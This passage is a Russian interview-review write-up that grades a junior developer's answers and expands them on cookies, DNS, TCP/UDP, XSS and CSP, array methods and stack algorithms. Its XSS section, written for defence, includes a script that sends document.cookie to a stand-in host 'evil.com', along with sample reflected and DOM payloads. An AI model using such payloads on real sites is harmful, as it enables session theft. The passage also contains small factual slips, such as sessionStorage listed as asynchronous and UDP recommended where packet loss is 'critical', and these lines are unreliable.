Ответ собеседника: Неполный. Куки — это хранилище в браузере. Знает три типа: cookies, localStorage, sessionStorage. localStorage — 5 Мб, чисто фронтендовское, сервер не имеет доступа. Cookies — ограничены по размеру (~4Кб), сервер имеет доступ, хранятся JWT-токены. Не знает флаги куки подробно, знает только HttpOnly.
Правильный ответ:
Кандидат верно описал основные хранилища, но ответ неполный — особенно в части флагов куки и дополнительных типов хранилищ.
Cookie — подробнее:
Cookie — небольшой фрагмент данных, который сервер отправляет браузеру через заголовок Set-Cookie, и браузер автоматически прикрепляет к каждому последующему запросу к этому домену через заголовок Cookie.
Сервер → Браузер:
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
Браузер → Сервер (автоматически):
Cookie: session_id=abc123
Флаги Cookie (важно знать все):
HttpOnly — запрещает доступ к cookie через JavaScript (document.cookie). Защищает от XSS-атак, при которых злоумышленник пытается украсть токен.
Secure — cookie отправляется только по HTTPS. Защищает от перехвата по незашифрованному соединению.
SameSite — контролирует отправку cookie при кросс-доменных запросах:
Strict— никогда не отправлять при кросс-доменном запросеLax— отправлять только при навигации (ссылка), не при AJAX/fetchNone— всегда отправлять (требует Secure)
Domain — определяет, к каким доменам применимо cookie. Если не указан — только к текущему домену.
Path — определяет путь, для которого действует cookie.
Expires / Max-Age — время жизни cookie. Без них — session cookie (удаляется при закрытии браузера).
Сравнение хранилищ браузера:
| Свойство | Cookie | localStorage | sessionStorage | IndexedDB |
|---|---|---|---|---|
| Размер | ~4 Кб | ~5-10 Мб | ~5-10 Мб | Ограничен диском |
| Доступ сервера | Да (авто) | Нет | Нет | Нет |
| Доступ JS | Да (без HttpOnly) | Да | Да | Да |
| Время жизни | Настраиваемое | Бессрочно | Сессия (вкладка) | Бессрочно |
| Отправка с запросом | Автоматически | Нет | Нет | Нет |
| Асинхронность | Синхронно | Синхронно | Асинхронно | Асинхронно |
| Тип данных | Строка | Строка | Строка | Любые объекты |
Когда что использовать:
Cookie:
- Аутентификационные токены (с флагами HttpOnly + Secure + SameSite)
- Отслеживание сессии
- CSRF-токены
localStorage:
- Настройки пользователя (тема, язык)
- Кэширование данных
- Данные, которые должны сохраняться между сессиями
sessionStorage:
- Временные данные формы
- Состояние вкладки
- Данные, которые должны очищаться при закрытии вкладки
IndexedDB:
- Большие объёмы структурированных данных
- Офлайн-приложения (PWA)
- Кэширование для сложных запросов
Пример работы с cookie в Go:
// Установка cookie
func setCookie(c *gin.Context) {
c.SetCookie(
"session_token", // name
"jwt_token_here", // value
3600, // maxAge (секунды)
"/", // path
"example.com", // domain
true, // secure (HTTPS only)
true, // httpOnly
)
c.JSON(200, gin.H{"status": "cookie set"})
}
// Чтение cookie
func getCookie(c *gin.Context) {
token, err := c.Cookie("session_token")
if err != nil {
c.JSON(401, gin.H{"error": "no cookie"})
return
}
c.JSON(200, gin.H{"token": token})
}
// Удаление cookie
func deleteCookie(c *gin.Context) {
c.SetCookie("session_token", "", -1, "/", "example.com", true, true)
c.JSON(200, gin.H{"status": "cookie deleted"})
}
Безопасность — важно:
- Никогда не храните JWT в localStorage без крайней необходимости — он доступен через JavaScript и уязвим к XSS.
- HttpOnly cookie — предпочтительный способ хранения токенов аутентификации.
- CSRF-защита — при использовании cookie обязательно используйте SameSite и/или CSRF-токены.
Вопрос 18. Что такое куки? Какие хранилища в браузере знаете? Чем они отличаются?
Таймкод: 00:20:07
Ответ собеседника: Неполный. Куки — это хранилище браузера. Также знает sessionStorage и localStorage. localStorage — 5 Мб, чисто фронтендовское, сервер не имеет доступа. Куки — ограничены по размеру, сервер имеет доступ, хранятся JWT-токены. Не знает другие флаги куки.
Правильный ответ:
Вопрос полностью дублирует предыдущий (Вопрос 17). Подробный ответ уже дан выше с описанием всех флагов cookie (HttpOnly, Secure, SameSite, Domain, Path, Expires), сравнительной таблицей хранилищ и примерами кода на Go.
Вопрос 19. Что такое DNS и зачем он нужен?
Таймкод: 00:21:52
Ответ собеседника: Правильный. Domain Name System — система, которая хранит соответствие между IP-адресами и доменными именами на серверах.
Правильный ответ:
Ответ правильный по сути, но для более полного ответа стоит раскрыть тему глубже.
DNS (Domain Name System) — распределённая система преобразования доменных имён в IP-адреса. Работает как «телефонная книга интернета»: вместо того чтобы запоминать 93.184.216.34, мы вводим example.com.
Зачем нужен DNS:
Любое сетевое взаимодействие происходит по IP-адресам. Без DNS пользователям пришлось бы запоминать числовые адреса каждого сайта, а при смене сервера (а значит и IP) — все пользователи потеряли бы доступ.
Как работает резолвинг DNS:
Пользователь вводит example.com
│
▼
┌──────────────────┐
│ Браузер │ ← Проверяет кеш браузера
│ (DNS Cache) │
└────────┬─────────┘
│ Не найдено
▼
┌──────────────────┐
│ OS Cache │ ← Проверяет кеш операционной системы
│ (/etc/hosts) │
└────────┬─────────┘
│ Не найдено
▼
┌──────────────────┐
│ Recursive │ ← DNS-резолвер провайдера (8.8.8.8, 1.1.1.1)
│ Resolver │
└────────┬─────────┘
│
▼
┌──────────────────┐
│ Root Server │ ← Корневые серверы (13 групп по всему миру)
│ (.) │ Говорят: «ищи .com у TLD-сервера»
└────────┬─────────┘
│
▼
┌──────────────────┐
│ TLD Server │ ← Сервер домена верхнего уровня (.com, .ru)
│ (.com) │ Говорят: «example.com у NS ns1.example.com»
└────────┬─────────┘
│
▼
┌──────────────────┐
│ Authoritative │ ← Авторитативный сервер домена
│ Name Server │ Возвращает IP: 93.184.216.34
└──────────────────┘
Типы DNS-записей:
- A — домен → IPv4-адрес (
example.com → 93.184.216.34) - AAAA — домен → IPv6-адрес
- CNAME — алиас, перенаправление на другой домен (
www.example.com → example.com) - MX — почтовый сервер для домена
- NS — авторитативный сервер имён для домена
- TXT — текстовая информация (SPF, DKIM, верификация)
- SRV — сервисная запись (указывает хост и порт для сервиса)
DNS-кеширование и TTL:
Каждая DNS-запись имеет TTL (Time To Live) — время в секундах, в течение которого запись может храниться в кеше. Например, TTL=3600 означает что запись кешируется на 1 час.
Практический пример:
# Запрос A-записи
dig example.com A
# Запрос всех записей
dig example.com ANY
# Проверка MX-записей
dig example.com MX
# Использование конкретного DNS-сервера
dig @8.8.8.8 example.com
DNS в контексте разработки:
- При деплое приложения нужно настроить DNS-записи, чтобы домен указывал на сервер
- CDN (Cloudflare, AWS CloudFront) используют DNS для маршрутизации к ближайшему серверу
- Load balancing через DNS (round-robin A-записи)
- Микросервисы часто используют внутренний DNS для обнаружения сервисов
Вопрос 20. Чем TCP отличается от UDP?
Таймкод: 00:22:12
Ответ собеседния: Неполный. TCP и UDP — транспортный уровень модели OSI. В TCP есть тройное рукопожатие, соединение надёжная. Если соединение разрывается, данные теряются. С UDP не работал, знает только что он существует, не смог объяснить различия подробнее.
Правильный ответ:
Кандидат верно упомянул тройное рукопожатие, но ответ неполный и содержит неточность («если соединение разрывается, данные теряются» — это неверная формулировка, TCP как раз гарантирует доставку).
TCP (Transmission Control Protocol):
Трёхэтапное рукопожатие (Three-way handshake):
Клиент Сервер
| |
|--- SYN ------->| Клиент запрашивает соединение
| |
|<-- SYN-ACK ---| Сервер подтверждает и запрашивает своё
| |
|--- ACK ------->| Клиент подтверждает
| |
|<-- Данные ---->| Соединение установлено
Завершение соединения (Four-way handshake):
Клиент Сервер
| |
|--- FIN ------->| Клиент хочет закрыть
| |
|<-- ACK -------| Сервер подтвердил
|<-- FIN -------| Сервер тоже хочет закрыть
| |
|--- ACK ------->| Клиент подтвердил
| |
Соединение закрыто
Свойства TCP:
- Надёжная доставка — подтверждение получения (ACK), повторная отправка потерянных пакетов
- Упорядоченность — пакеты собираются в правильном порядке
- Управление потоком — отправитель не перегружает получателя
- Управление перегрузкой — адаптация скорости к состоянию сети
- Соединение — требует установки соединения перед передачей данных
UDP (User Datagram Protocol):
Свойства UDP:
- Ненадёжная доставка — нет подтверждений, нет повторной отправки
- Нет порядка — пакеты могут прийти в любом порядке
- Нет управления потоком — отправитель не знает о состоянии получателя
- Бессоединный — не требует установки соединения
- Минимальный overhead — заголовок UDP всего 8 байт (против 20+ байт у TCP)
Сравнительная таблица:
| Свойство | TCP | UDP |
|---|---|---|
| Соединение | Да (handshake) | Нет |
| Надёжность | Гарантирована | Нет |
| Порядок доставки | Гарантирован | Не гарантирован |
| Управление потоком | Да | Нет |
| Заголовок | 20-60 байт | 8 байт |
| Скорость | Медленнее | Быстрее |
| Использование | HTTP, HTTPS, SSH, FTP | DNS, VoIP, стриминг, игры |
Когда что использовать:
TCP — когда важна целостность данных: веб-страницы, передача файлов, email, API-запросы.
UDP — когда важна скорость и потеря пакетов критична: видеостриминг, VoIP, онлайн-игры, DNS-запросы, IoT-датчики.
Примеры протоколов:
TCP: UDP:
- HTTP/HTTPS (80/443) - DNS (53)
- SSH (22) - DHCP (67/68)
- FTP (20/21) - TFTP (69)
- SMTP (25) - SNMP (161)
- PostgreSQL (5432) - QUIC (новый, на базе UDP)
- MySQL (3306) - VoIP (RTP)
Важное замечание о QUIC:
Протокол QUIC (на котором основан HTTP/3) построен на UDP, но реализует надёжность и управление потоком на уровне приложения. Это сочетает скорость UDP с надёжностью TCP, плюс решает проблему head-of-line blocking.
UDP в Go — пример:
// UDP сервер
func startUDPServer() {
addr, _ := net.ResolveUDPAddr("udp", ":8080")
conn, _ := net.ListenUDP("udp", addr)
defer conn.Close()
buffer := make([]byte, 1024)
for {
n, clientAddr, _ := conn.ReadFromUDP(buffer)
message := string(buffer[:n])
fmt.Printf("Получено от %s: %s\n", clientAddr, message)
// Ответ
conn.WriteToUDP([]byte("received"), clientAddr)
}
}
// UDP клиент
func sendUDPMessage() {
addr, _ := net.ResolveUDPAddr("udp", "localhost:8080")
conn, _ := net.DialUDP("udp", nil, addr)
defer conn.Close()
conn.Write([]byte("Hello UDP"))
buffer := make([]byte, 1024)
n, _ := conn.Read(buffer)
fmt.Printf("Ответ: %s\n", string(buffer[:n]))
}
Вопрос 21. Что такое XSS?
Таймкод: 00:25:03
Ответ собеседника: Неправильный. Не знает что такое XSS. Слышал что-то про межсайтовые скриптовые атаки, но не смог объяснить.
Правильный ответ:
XSS — одна из базовых веб-уязвимостей, которую должен знать любой разработчик, работающий с веб-приложениями.
XSS (Cross-Site Scripting) — тип атаки, при которой злоумышленник внедряет вредоносный JavaScript-код в страницу, которую видят другие пользователи. Этот код выполняется в браузере жертвы с её правами и доступом к её данным.
Три основных типа XSS:
1. Stored XSS (Хранимая) — самая опасная.
Вредоносный код сохраняется на сервере (в базе данных) и отдаётся каждому пользователю, который загружает страницу.
Пример: комментарий к посту
┌─────────────────────────────────┐
│ Комментарий от злоумышленника: │
│ <script> │
│ fetch('https://evil.com/steal │
│ ?cookie=' + document.cookie)│
│ </script> │
└─────────────────────────────────┘
│
▼
Сохраняется в БД
│
▼
Каждый пользователь, открывший
страницу, выполнит этот скрипт
2. Reflected XSS (Отражённая).
Вредоносный код передаётся через URL или параметры запроса и «отражается» в ответе сервера без сохранения.
URL: https://example.com/search?q=<script>alert('XSS')</script>
Сервер отвечает:
<h1>Результаты поиска для: <script>alert('XSS')</script></h1>
3. DOM-based XSS (На основе DOM).
Уязвимость находится в клиентском JavaScript-коде, который небезопасно манипулирует DOM.
// Уязвимый код
const name = window.location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// Атака:
// https://example.com#<img src=x onerror=alert('XSS')>
Что может сделать злоумышленник через XSS:
- Украсть сессионные cookie и авторизоваться от имени пользователя
- Перехватить ввод данных (логины, пароли, платёжные данные)
- Перенаправить пользователя на фишинговый сайт
- Изменить содержимое страницы
- Выполнить действия от имени пользователя (CSRF через XSS)
Как защититься от XSS:
1. Экранирование вывода (Output Escaping) — главная защита.
// Плохо — уязвимо к XSS
element.innerHTML = userInput;
// Хорошо — безопасно
element.textContent = userInput;
2. Content Security Policy (CSP).
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
CSP ограничивает откуда можно загружать скрипты, стили и другие ресурсы.
3. HttpOnly Cookie.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
Флаг HttpOnly запрещает доступ к cookie через JavaScript, что делает кражу cookie через XSS невозможной.
4. Валидация и санитизация ввода.
import "html"
// Экранирование пользовательского ввода перед выводом
func sanitizeInput(input string) string {
return html.EscapeString(input)
}
5. Использование современных фреймворков.
React, Vue, Angular автоматически экранируют данные при рендеринге через JSX/шаблоны:
// React автоматически экранирует
const Comment = ({ text }) => <div>{text}</div>;
// Опасно — обходит защиту React
const Dangerous = ({ html }) => <div dangerouslySetInnerHTML={{ __html: html }} />;
Пример защиты в Go:
import (
"html/template"
"net/http"
)
// Go автоматически экранирует данные в html/template
func handler(w http.ResponseWriter, r *http.Request) {
userInput := r.URL.Query().Get("name")
tmpl := template.Must(template.New("page").Parse(`
<h1>Hello, {{.}}!</h1>
`))
// Автоматическое экранирование — <script> станет <script>
tmpl.Execute(w, userInput)
}
OWASP XSS Prevention Cheat Sheet — рекомендуется изучить как основной справочник по защите от XSS.
Вопрос 22. Что такое XSS и CSP?
Таймкод: 00:25:05
Ответ собеседника: Неправильный. Про XSS не знает, не слышал термин. Про CSP тоже не знает. Признал что в безопасность не углублялся.
Правильный ответ:
Вопрос дублирует предыдущий (Вопрос 21) с добавлением CSP. Подробный ответ про XSS уже дан выше. Дополним информацией о CSP.
CSP (Content Security Policy) — HTTP-заголовок, который позволяет контролировать какие ресурсы браузер может загружать и выполнять на странице. Это мощный механизм защиты от XSS и других инъекционных атак.
Как работает CSP:
Сервер отправляет заголовок Content-Security-Policy, и браузер блокирует любые ресурсы, не соответствующие политике.
Основные директивы CSP:
Content-Security-Policy:
default-src 'self'; # По умолчанию — только свой домен
script-src 'self'; # Скрипты — только своего домена
style-src 'self' 'unsafe-inline'; # Стили — свой домен + inline
img-src 'self' data: https:; # Изображения — свой домен + data URI + HTTPS
font-src 'self'; # Шрифты — только свой домен
connect-src 'self' https://api.example.com; # AJAX/WebSocket — ограничение
frame-src 'none'; # Запрет iframe
object-src 'none'; # Запрет Flash и других плагинов
base-uri 'self'; # Ограничение для <base>
form-action 'self'; # Формы могут отправляться только на свой домен
Режим отчётов (Report-Only):
Для тестирования политики без блокировки:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Nonce и Hash для inline-скриптов:
Content-Security-Policy: script-src 'nonce-abc123'
<!-- Разрешён — nonce совпадает -->
<script nonce="abc123">
console.log("allowed");
</script>
<!-- Заблокирован — nonce отсутствует -->
<script>
console.log("blocked");
</script>
Настройка CSP в Go:
func CSPMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self'; "+
"style-src 'self' 'unsafe-inline'; "+
"img-src 'self' data: https:; "+
"font-src 'self'; "+
"connect-src 'self' https://api.example.com; "+
"frame-src 'none'; "+
"object-src 'none'")
c.Next()
}
}
Рекомендация для кандидата: базовые знания веб-безопасности (XSS, CSRF, CSP, HTTPS) — обязательны для любого фронтенд-разработчика. Рекомендуется изучить OWASP Top 10 — это список самых критичных уязвимостей веб-приложений.
Вопрос 23. Что такое CSP?
Таймкод: 00:25:35
Ответ собеседника: Неправильный. Не знает что такое CSP. Признал что не углублялся в тему безопасности.
Правильный ответ:
Вопрос полностью дублирует часть предыдущего вопроса (Вопрос 22). Подробный ответ о CSP уже дан выше с описанием директив, примерами заголовков и middleware на Go.
Вопрос 24. Какие методы массива в JavaScript знаете и используете постоянно?
Таймкод: 00:26:15
Ответ собеседника: Неполный. Slice, splice, indexOf, map, filter, reduce. Перечислил базовые методы. Упомянул новые методы toSpliced, toSorted из ES2023, которые не изменяют исходный массив.
Правильный ответ:
Кандидат перечислил основные методы, но ответ можно значительно расширить. Разберём методы по категориям.
Методы, изменяющие исходный массив (mutating):
push(...items)— добавляет элементы в конецpop()— удаляет и возвращает последний элементshift()— удаляет и возвращает первый элементunshift(...items)— добавляет элементы в началоsplice(start, deleteCount, ...items)— удаляет/вставляет элементыsort(compareFn)— сортирует массивreverse()— разворачивает массивfill(value, start, end)— заполняет значением
Методы, НЕ изменяющие исходный массив (non-mutating):
slice(start, end)— копирует часть массиваconcat(...arrays)— объединяет массивыmap(fn)— преобразует каждый элементfilter(fn)— фильтрует элементыreduce(fn, initial)— сворачивает в одно значениеfind(fn)— находит первый подходящий элементfindIndex(fn)— находит индекс первого подходящего элементаsome(fn)— true если хотя бы один элемент проходит проверкуevery(fn)— true если все элементы проходят проверкуincludes(value)— проверяет наличие элементаindexOf(value)— индекс первого вхожденияlastIndexOf(value)— индекс последнего вхожденияflat(depth)— «выпрямляет» вложенные массивыflatMap(fn)— map + flat(1)join(separator)— объединяет в строкуforEach(fn)— перебор (без возврата значения)
Новые методы ES2023 (immutable) — кандидат верно упомянул:
toSorted(compareFn)— как sort, но возвращает новый массивtoReversed()— как reverse, но возвращает новый массивtoSpliced(start, deleteCount, ...items)— как splice, но возвращает новый массивwith(index, value)— возвращает копию с заменённым элементом по индексуfindLast(fn)— находит последний подходящий элементfindLastIndex(fn)— индекс последнего подходящего элемента
Примеры практического использования:
const users = [
{ id: 1, name: 'Alice', age: 25, role: 'admin' },
{ id: 2, name: 'Bob', age: 30, role: 'user' },
{ id: 3, name: 'Charlie', age: 35, role: 'admin' },
];
// map — преобразование
const names = users.map(u => u.name);
// ['Alice', 'Bob', 'Charlie']
// filter — фильтрация
const admins = users.filter(u => u.role === 'admin');
// [{ id: 1, ... }, { id: 3, ... }]
// reduce — агрегация
const totalAge = users.reduce((sum, u) => sum + u.age, 0);
// 90
// find — поиск
const bob = users.find(u => u.name === 'Bob');
// { id: 2, name: 'Bob', ... }
// some/every — проверка
const hasAdmin = users.some(u => u.role === 'admin'); // true
const allAdults = users.every(u => u.age >= 18); // true
// flat — выпрямление
const nested = [[1, 2], [3, [4, 5]]];
nested.flat(2); // [1, 2, 3, 4, 5]
// flatMap — map + flat
const sentences = ['Hello world', 'Good morning'];
sentences.flatMap(s => s.split(' '));
// ['Hello', 'world', 'Good', 'morning']
// Цепочка методов
const result = users
.filter(u => u.role === 'admin')
.map(u => u.name)
.sort();
// ['Alice', 'Charlie']
Важные нюансы:
sort()без функции сравнения сортирует как строки:[10, 2, 1].sort()→[1, 10, 2]. Нужно:.sort((a, b) => a - b).mapвсегда возвращает массив той же длины,filter— меньше или равной.forEachне прерываетсяbreak/return— для раннего выхода используйтеfor...ofилиsome/every.
Вопрос 25. Что такое стек и очередь? Объясните принцип работы.
Таймкод: 00:27:04
Ответ собеседника: Неполный. Стек — структура данных LIFO (Last In, First Out) — последний пришёл, первый вышел. Аналогия — колода карт или стопка тарелок. Очередь — FIFO (First In, First Out) — первый пришёл, первый вышел. Понимание поверхностное, с подсказками.
Правильный ответ:
Кандидат верно описал базовые принципы, но ответ поверхностный. Разберём тему глубже.
Стек (Stack) — LIFO:
Стек — структура данных, где элементы добавляются и удаляются с одного конца (вершины стека).
Основные операции:
push(item)— добавить элемент на вершинуpop()— удалить и вернуть элемент с вершиныpeek()/top()— посмотреть элемент на вершине без удаленияisEmpty()— проверить пуст ли стекsize()— размер стека
Реализация на Go:
package main
import "fmt"
type Stack[T any] struct {
items []T
}
func NewStack[T any]() *Stack[T] {
return &Stack[T]{}
}
func (s *Stack[T]) Push(item T) {
s.items = append(s.items, item)
}
func (s *Stack[T]) Pop() (T, bool) {
if len(s.items) == 0 {
var zero T
return zero, false
}
item := s.items[len(s.items)-1]
s.items = s.items[:len(s.items)-1]
return item, true
}
func (s *Stack[T]) Peek() (T, bool) {
if len(s.items) == 0 {
var zero T
return zero, false
}
return s.items[len(s.items)-1], true
}
func (s *Stack[T]) IsEmpty() bool {
return len(s.items) == 0
}
func main() {
stack := NewStack[int]()
stack.Push(1)
stack.Push(2)
stack.Push(3)
fmt.Println(stack.Pop()) // 3, true
fmt.Println(stack.Pop()) // 2, true
fmt.Println(stack.Peek()) // 1, true
fmt.Println(stack.Pop()) // 1, true
fmt.Println(stack.IsEmpty()) // true
}
Где используется стек:
- Вызов функций (call stack) — каждый вызов функции кладётся на стек
- Отмена действий (undo) в редакторах
- Проверка сбалансированности скобок
- Обход дерева в глубину (DFS)
- Вычисление выражений (обратная польская нотация)
- История навигации в браузере (кнопка «Назад»)
Очередь (Queue) — FIFO:
Очередь — структура данных, где элементы добавляются с одного конца (хвост) и удаляются с другого (голова).
Основные операции:
enqueue(item)— добавить элемент в хвостdequeue()— удалить и вернуть элемент из головыfront()— посмотреть элемент в головеisEmpty()— проверить пуста ли очередь
Реализация на Go:
type Queue[T any] struct {
items []T
}
func NewQueue[T any]() *Queue[T] {
return &Queue[T]{}
}
func (q *Queue[T]) Enqueue(item T) {
q.items = append(q.items, item)
}
func (q *Queue[T]) Dequeue() (T, bool) {
if len(q.items) == 0 {
var zero T
return zero, false
}
item := q.items[0]
q.items = q.items[1:]
return item, true
}
func (q *Queue[T]) Front() (T, bool) {
if len(q.items) == 0 {
var zero T
return zero, false
}
return q.items[0], true
}
Где используется очередь:
- Обработка задач (task queues) — сообщения, запросы
- Поиск в ширину (BFS) в графах
- Буферы ввода-вывода
- Планировщики задач в ОС
- Очередь печати
Двусторонняя очередь (Deque):
Позволяет добавлять и удалять элементы с обоих концов. Сочетает свойства стека и очереди.
Приоритетная очередь (Priority Queue):
Каждый элемент имеет приоритет. Элемент с наивысшим приоритетом извлекается первым. Реализуется через кучу (heap).
import "container/heap"
// Go предоставляет интерфейс heap.Interface
// для реализации приоритетной очереди
Практический пример — проверка сбалансированности скобок (стек):
func isBalanced(s string) bool {
stack := NewStack[rune]()
pairs := map[rune]rune{
')': '(',
']': '[',
'}': '{',
}
for _, char := range s {
switch char {
case '(', '[', '{':
stack.Push(char)
case ')', ']', '}':
top, ok := stack.Pop()
if !ok || top != pairs[char] {
return false
}
}
}
return stack.IsEmpty()
}
fmt.Println(isBalanced("({[]})")) // true
fmt.Println(isBalanced("({[})")) // false
Вопрос 26. Задача: написать функцию декомпрессии сжатой строки (например, '3[a]2[bc]' -> 'aaabcbc'). Объясните алгоритм решения.
Таймкод: 00:29:28
Ответ собеседника: Неполный. Кандидат начал рассуждать, предложил использовать объект для хранения множителей и значений. Задача решается через стек. Кандидат испытывал затруднения, интервьюер давал подсказки: идти слева направо, зацепиться за закрывающую скобку как триггер, затем двигаться справа налево для извлечения символов и числа. Кандидат не смог самостоятельно реализовать решение.
Правильный ответ:
Это классическая задача на стек, которая проверяет понимание структуры данных и умение работать со строками.
Алгоритм решения:
Идея — использовать стек. Идём по строке слева направо:
- Встретили цифру — запоминаем число
- Встретили
[— кладём текущую строку и текущее число в стек, сбрасываем их - Встретили
]— извлекаем из стека число и предыдущую строку, повторяем текущую строку указанное число раз и присоединяем к предыдущей - Встретили букву — добавляем к текущей строке
Реализация на Go:
package main
import (
"fmt"
"strconv"
"strings"
)
func decodeString(s string) string {
type stackItem struct {
str string
count int
}
stack := []stackItem{}
currentStr := ""
currentNum := 0
for _, ch := range s {
switch {
case ch >= '0' && ch <= '9':
// Собираем число (может быть многозначным)
digit, _ := strconv.Atoi(string(ch))
currentNum = currentNum*10 + digit
case ch == '[':
// Кладём текущую строку и число в стек, сбрасываем
stack = append(stack, stackItem{currentStr, currentNum})
currentStr = ""
currentNum = 0
case ch == ']':
// Извлекаем из стека
n := len(stack)
top := stack[n-1]
stack = stack[:n-1]
// Повторяем текущую строку count раз
// и присоединяем к строке из стека
currentStr = top.str + strings.Repeat(currentStr, top.count)
default:
// Обычная буква — добавляем к текущей строке
currentStr += string(ch)
}
}
return currentStr
}
func main() {
fmt.Println(decodeString("3[a]2[bc]")) // "aaabcbc"
fmt.Println(decodeString("3[a2[c]]")) // "accaccacc"
fmt.Println(decodeString("2[abc]3[cd]ef")) // "abcabccdcdcdef"
fmt.Println(decodeString("10[a]")) // "aaaaaaaaaa"
}
Пошаговый разбор для 3[a2[c]]:
Шаг Символ currentNum currentStr Стек
─────────────────────────────────────────────
1 '3' 3 "" []
2 '[' 0 "" [{str:"", num:3}]
3 'a' 0 "a" [{str:"", num:3}]
4 '2' 2 "a" [{str:"", num:3}]
5 '[' 0 "" [{str:"", num:3}, {str:"a", num:2}]
6 'c' 0 "c" [{str:"", num:3}, {str:"a", num:2}]
7 ']' 0 "acc" [{str:"", num:3}]
(извлекаем: "a" + "c"*2 = "acc")
8 ']' 0 "accaccacc" []
(извлекаем: "" + "acc"*3 = "accaccacc")
Результат: "accaccacc"
Сложность:
- Временная: O(n × k), где n — длина входной строки, k — максимальное число повторений
- Пространственная: O(n) для стека
Альтернативная реализация через два стека:
func decodeStringTwoStacks(s string) string {
numStack := []int{}
strStack := []string{}
currentStr := ""
currentNum := 0
for _, ch := range s {
switch {
case ch >= '0' && ch <= '9':
digit, _ := strconv.Atoi(string(ch))
currentNum = currentNum*10 + digit
case ch == '[':
numStack = append(numStack, currentNum)
strStack = append(strStack, currentStr)
currentNum = 0
currentStr = ""
case ch == ']':
// Извлекаем число и строку
count := numStack[len(numStack)-1]
numStack = numStack[:len(numStack)-1]
prevStr := strStack[len(strStack)-1]
strStack = strStack[:len(strStack)-1]
currentStr = prevStr + strings.Repeat(currentStr, count)
default:
currentStr += string(ch)
}
}
return currentStr
}
Ключевые моменты для собеседования:
- Стек — естественный выбор для задач с вложенными скобками
- Нужно аккуратно обрабатывать многозначные числа (
10[a],100[abc]) - Вложенность может быть произвольной:
2[3[a]b]→aaabaaab - Задача встречается на LeetCode (#394)
Вопрос 27. Общая оценка интервьюером кандидата и советы по развитию
Таймкод: 01:03:01
Ответ собеседника: Правильный. Интервьюер положительно оценил кандидата: теория на достаточном уровне, софт-скиллы хорошие, задачу решал с подсказками. Оценил как Junior+, но отметил что на текущем рынке без опыта и деплоя трудоустройство затруднено. Рекомендовал больше практиковаться в решении задач (LeetCode), так как это повышает шансы на трудоустройство и уровень зарплаты.
Правильный ответ:
Это завершающий вопрос с обратной связью. Разберём оценку и рекомендации подробно.
Итоговая оценка кандидата:
Сильные стороны:
- Хорошие софт-скиллы: кандидат умеет рассуждать вслух, не боится признавать пробелы, работает с подсказками
- Базовая теория на достаточном уровне для Junior+: знает HTTP-методы, хранилища браузера, разницу между аутентификацией и авторизацией
- Есть мотивация к самообразованию: занимается фронтендом самостоятельно, имеет pet-проекты
Слабые стороны:
- Пробелы в безопасности: не знает XSS, CSP, CSRF — это критично для фронтенд-разработчика
- Не смог самостоятельно решить алгоритмическую задачу на стек — базовую структуру данных
- Поверхностное знание Git: нет опыта работы с ветками и PR
- Нет деплоя проектов — снижает ценность портфолио
- Спорные утверждения: «React устаревает» — показывает недостаток понимания индустрии
Конкретные рекомендации для развития:
1. Алгоритмы и структуры данных (приоритет №1).
Регулярная практика на LeetCode — минимум 1-2 задачи в день. Фокус на:
- Массивы и строки
- Стек и очередь
- Связные списки
- Хеш-таблицы
- Деревья и графы
- Бинарный поиск
- Динамическое программирование (базовый уровень)
2. Веб-безопасность (приоритет №2).
Обязательно изучить:
- XSS (типы, защита)
- CSRF (механизм, защита)
- CSP (директивы, настройка)
- HTTPS/TLS (как работает)
- OWASP Top 10
Ресурсы: OWASP Web Security Testing Guide, PortSwigger Web Security Academy (бесплатный курс).
3. Git и DevOps-практики.
Научиться работать с ветками, PR, code review. Деплоить проекты — хотя бы на Vercel, Netlify, Railway или VPS. Наличие живого проекта с рабочим URL значительно повышает шансы на трудоустройство.
4. Углубление в стек.
Выбрать один фреймворк (React или Vue) и изучить его глубоко: внутреннее устройство, оптимизация, паттерны. Добавить TypeScript — это стандарт индустрии.
5. Практические проекты.
Не просто «интернет-магазин на компонентах», а проект с:
- Реальным бэкендом (можно использовать готовый API)
- Авторизацией
- Обработкой ошибок
- Тестами
- Деплоем и CI/CD
Вопрос 28. Актуальность Node.js для бэкенда. Сравнение с Java и Go. Советы по выбору стека
Таймкод: 01:13:27
Ответ собеседника: Правильный. Интервьюер отметил что Node.js на бэкенде актуален, но конкуренция очень высокая — многие фронтендеры переходят во фулстек через Node.js. Рекомендовал Java или Go как более перспективные направления для бэкенда с большим количеством вакансий. Также отметил что в 2025-2026 году нельзя быть просто фронтендером — нужно закрывать несколько позиций (fullstack, DevOps, QA automation), чтобы быть конкурентоспособным на рынке.
Правильный ответ:
Это ценная рекомендация от интервьюера. Разберём её подробно.
Node.js для бэкенда — текущее состояние:
Node.js актуален и широко используется (Netflix, Uber, LinkedIn), но рынок перенасыщен junior-специалистами. Многие фронтенд-разработчики осваивают Node.js как путь в fullstack, что создаёт высокую конкуренцию на входе.
Плюсы Node.js:
- Один язык (JavaScript/TypeScript) на фронтенде и бэкенде
- Огромная экосистема npm
- Быстрый старт для веб-приложений
- Хорош для I/O-интенсивных задач (API, real-time)
Минусы Node.js:
- Однопоточность — плохо подходит для CPU-интенсивных задач
- Callback hell (частично решён async/await)
- Высокая конкуренция среди junior-разработчиков
- Меньше вакансий на корпоративный бэкенд по сравнению с Java/Go
Java для бэкенда:
Плюсы:
- Огромный рынок вакансий, особенно в корпоративном секторе (банки, телеком, e-commerce)
- Зрелая экосистема (Spring Boot, Micronaut, Quarkus)
- Сильная типизация, надёжность
- Высокие зарплаты на middle/senior уровнях
- Стабильность и долгосрочная поддержка
Минусы:
- Высокий порог входа: нужно знать JVM, паттерны, фреймворки
- Многословность кода
- Дольше разработка прототипа
Go для бэкенда:
Плюсы:
- Простой язык с минималистичным синтаксисом — быстрое обучение
- Отличная производительность и встроенная конкурентность (горутины, каналы)
- Быстрая компиляция
- Высокий спрос на рынке, особенно в микросервисах, DevOps, инфраструктуре
- Меньше конкуренция по сравнению с Node.js
- Хорошо оплачивается
Минусы:
- Меньше фреймворков (хотя это и плюс — меньше зависимости от них)
- Нет дженериков (до Go 1.18, сейчас есть, но ограниченные)
